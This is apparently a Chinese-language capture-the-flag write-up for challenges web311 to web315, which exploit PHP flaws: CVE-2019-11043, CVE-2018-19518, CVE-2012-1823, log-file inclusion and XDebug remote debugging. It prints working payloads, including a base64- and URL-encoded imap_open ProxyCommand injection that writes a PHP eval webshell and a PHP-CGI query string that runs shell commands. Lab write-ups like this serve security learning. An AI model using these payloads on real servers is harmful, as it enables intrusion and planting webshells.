web311: CVE-2019-11043远程代码执行漏洞
漏洞名称:php fastcgi 远程命令执行漏洞
涉及版本:7.1.x-7.1.33 7.2.x-7.2.24 7.3.x-7.3.11
漏洞成因:
CVE-2019-11043漏洞是PHP的一个远程代码执行漏洞,该漏洞产生与Nginx利用fastcgi_split_path_info在处理带有 %0a 的请求时,会因为遇到换行符(%0a)导致PATH_INFO为空,最终可导致任意代码执行
使用插件能看到语言版本是php7.1.33,或者去看返回包也可以
这里我直接使用的dockers拉取的镜像,不用去搭建环境比较方便
url结尾需要加index.php
最后执行命令,在url最后加?a=id这些就可以执行,需要多访问几次,一般访问三四次执行一次
web312:CVE-2018-19518远程命令执行漏洞
漏洞名称:PHP IMAP远程命令执行漏洞
涉及版本:5.6.0-5.6.38 7.0.0-7.0.32 7.1.0-7.1.24
漏洞介绍:
imap_open()允许通过mailbox参数运行任意shell命令
payload:
x+-oProxyCommand=echo 'base64编码后的命令'|base64 -d|sh}
<?php eval($_POST[a]);?>base64编码一下PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+
将poc base64编码
echo 'PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+' | base64 -d > /var/www/html/1.php
ZWNobyAnUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiWVYwcE96OCsnfGJhc2U2NCAtZCA+IC92YXIvd3d3L2h0bWwvMS5waHA=
然后插入到payload里
x+-oProxyCommand=echo ZWNobyAnUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiWVYwcE96OCsnfGJhc2U2NCAtZCA+IC92YXIvd3d3L2h0bWwvMS5waHA=|base64 -d|sh}
最后在url编码一下
x%2b-oProxyCommand%3decho+ZWNobyAnUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiWVYwcE96OCsnfGJhc2U2NCAtZCA%2bIC92YXIvd3d3L2h0bWwvMS5waHA%3d%7cbase64+-d%7csh%7d
web313: CVE-2012-1823远程代码执行漏洞
漏洞名称:PHP-CGI远程代码执行漏洞
poc:
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?= `cat /somewhere/fla9.txt`;?>
web314: 文件包含漏洞,简单包含一下日志文件执行命令就能拿到flag
web315:XDebug 远程调试漏洞
详情以及payload可以自行下载
vulhub/php/xdebug-rce at master · vulhub/vulhub (github.com)
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置
remote_connect_back = 1
:xdebug.remote_connect_back = 1 xdebug.remote_enable = 1
这个配置下,我们访问
http://target/index.php?XDEBUG_SESSION_START=phpstorm
,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For
头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
大致理解起来就是如果开启了xdebug的远程调试功能就能利用xdebug提供的eval去执行命令
这个类似于反弹shell, 运行poc回去监听某个端口, 需要外网ip去做一个映射内网ip才能监听成功
不然会超时